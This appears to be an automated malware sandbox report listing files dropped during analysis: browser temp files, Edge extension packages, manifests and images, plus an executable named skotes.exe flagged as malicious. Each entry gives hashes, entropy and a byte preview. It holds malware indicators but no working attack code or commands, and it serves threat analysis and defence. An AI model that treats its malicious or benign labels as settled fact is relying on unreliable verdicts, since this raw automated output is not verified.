Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\5bb1abc5-5dd9-4258-95c7-b60dd0601969.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\8d496cb7-8e93-4508-a9fa-57ac4a76d59f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Temp\a2e2f291-4f11-4f86-8d51-c821f5b5dcff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsHCFCAAEBGC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1870336
Entropy (8bit):	7.9487256741759404
Encrypted:	false
SSDEEP:	49152:ZrCg9SAT0whlcdHeN7sM6Q1DrZzlYJ3WNAwjP:V5JTVsNeN7H1DYgCw
MD5:	4A97D2E0F102525CD3CA67C4AD404846
SHA1:	3BB2F79C955C1725335CC66497A0438A80F4E14F
SHA-256:	CF1C64D406F56C499088175E6FFF6092095F1E20CF366895011EC644FEE7AEAF
SHA-512:	F9EC5F151EC44A6FCB79AF5B05B0DCD95F7DC6AC818FC3FED92BE54EC5F9FBCCD7AB6B21528BEE8DE533ECB97843B21A85A3BDEC8C8A3C9B39C00FB304841F13
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@.......................... J.....r;....@.................................W...k.......H...................`.I...............................I..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..).........................@...lkitmsue.p...p0..n..................@...tmsbqfoz......I......d..............@....taggant.0....I.."...h..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.392677266797299
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854RrJ:8e2Fa116uCntc5toY7qM
MD5:	58DF5C8F1A1E16E4876B1E957E93BF37
SHA1:	561D6794BB9960156C2ECF2C45D1A2ECDF54AF4F
SHA-256:	B887734649972398A1DF908E6B704957B653A7B32F331C5BDB8FF68D8C8CDBED
SHA-512:	499EFBC711937B20556F892890D7A5E553338AA28403557B9A2C6838BAAF041E455D822E287BB2704008D61CFA299DE45475A6E551F4082DB74B096BDBD826E0
Malicious:	false
Reputation:	unknown
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\d66bc79d-064c-4bc5-a9bb-e90477edb21f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1555295
Entropy (8bit):	7.992909427481165
Encrypted:	true
SSDEEP:	24576:pBp5O32evfIQ3+B8acpDm9Z0hF+OgBFvsCf5kDAfpRHVjuCzLLD5V5IJhjhsFOUb:x5nQfJOiRpDmE+zb0Cf4uRduyLD5V5Ic
MD5:	50C8EC9675082FDBCAF0570240C0C040
SHA1:	94405207D099DA0A495CE792DF703CEC03DEAE20
SHA-256:	A050768E13AE0F46C35FB2366A80D0B62C9F59D12FE73072FE770F72CDF8262A
SHA-512:	ADF4EFAF1EEA00988D58CE834B2C66119AFD948959AB597D0F5BAA2385F681D8C4DC99C35D9A98AB9FA03D89E653B6E6C9270A04F8501197EBCB1928FE41A8AB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Reputation:	unknown
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\scoped_dir8160_1455465225\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Reputation:	unknown
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8160_1455465225\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Reputation:	unknown
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8160_1455465225\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Reputation:	unknown
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8160_1455465225\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Reputation:	unknown
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_1455465225\a2e2f291-4f11-4f86-8d51-c821f5b5dcff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\5bb1abc5-5dd9-4258-95c7-b60dd0601969.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
